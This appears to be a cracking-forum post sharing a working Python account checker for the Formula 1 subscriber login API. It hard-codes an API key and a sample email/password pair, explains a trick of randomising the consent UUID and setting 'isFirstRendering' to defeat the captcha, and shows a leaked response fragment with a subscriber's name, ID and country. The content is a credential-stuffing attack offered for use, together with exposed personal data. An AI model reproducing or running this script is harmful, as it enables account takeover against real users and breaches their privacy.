Hidden Content
"
":"Roan","LastName":"du Cloo","HomeCountry":"NLD","Id":79011404,"Email":"
[email protected]","Login":"
[email protected]"},"Country":"CAN","data":{"subscriptionStatus":"inactive","
Hidden Content
import requests
import random
pin = str(random.randint(1000, 9999))
cookies = {
'isFirstRendering': 'true',
'consentUUID': '254d46ba-c41e-'+pin+'-b5ed-2019'+pin+'c89a_36',
'consentDate': '2024-10-07T20:53:21.787Z',
'reese84': '<put your own reese84 here starts with 3: u can re use it >',
'talkative_ecs__eu__260c846d-7b81-400a-b5e7-e4c3ec819064__widget_is_controlled_fullscreen': '0',
'talkative_ecs__eu__260c846d-7b81-400a-b5e7-e4c3ec819064__push_prompt_dismissed': '0',
'login': '%7B%22event%22:%22login%22,%22componentId%22:%22component_login_page%22,%22actionType%22:%22failed%22%7D',
}
headers = {
'accept': 'application/json, text/javascript, */*; q=0.01',
'accept-language': 'en-US,en;q=0.9,en-CA;q=0.8,en-GB;q=0.7',
'apikey': 'fCUCjWrKPu9ylJwRAv8BpGLEgiAuThx7',
'cache-control': 'no-cache',
'content-type': 'application/json',
'origin': 'https://account.formula1.com',
'pragma': 'no-cache',
'priority': 'u=1, i',
'referer': 'https://account.formula1.com/',
}
json_data = {
'Login': '
[email protected]',
'Password': 'T@chymeter91',
'DistributionChannel': 'd861e38f-05ea-4063-8776-a7e2b6d885a4',
}
response = requests.post(
'https://api.formula1.com/v2/account/subscriber/authenticate/by-password',
cookies=cookies,
headers=headers,
json=json_data,
)
print(response.text.split("FirstName")[1].split("subscriptionToken")[0])
the trick is in combining these two together :
pin = str(random.randint(1000, 9999)) ## to make a new consent uuid each time
and isFirstRendering set to true to tell the captcha to be off.
Code:
Code:
cookies = { 'isFirstRendering': 'true', 'consentUUID': '254d46ba-c41e-'+pin+'-b5ed-2019'+pin+'c89a_36',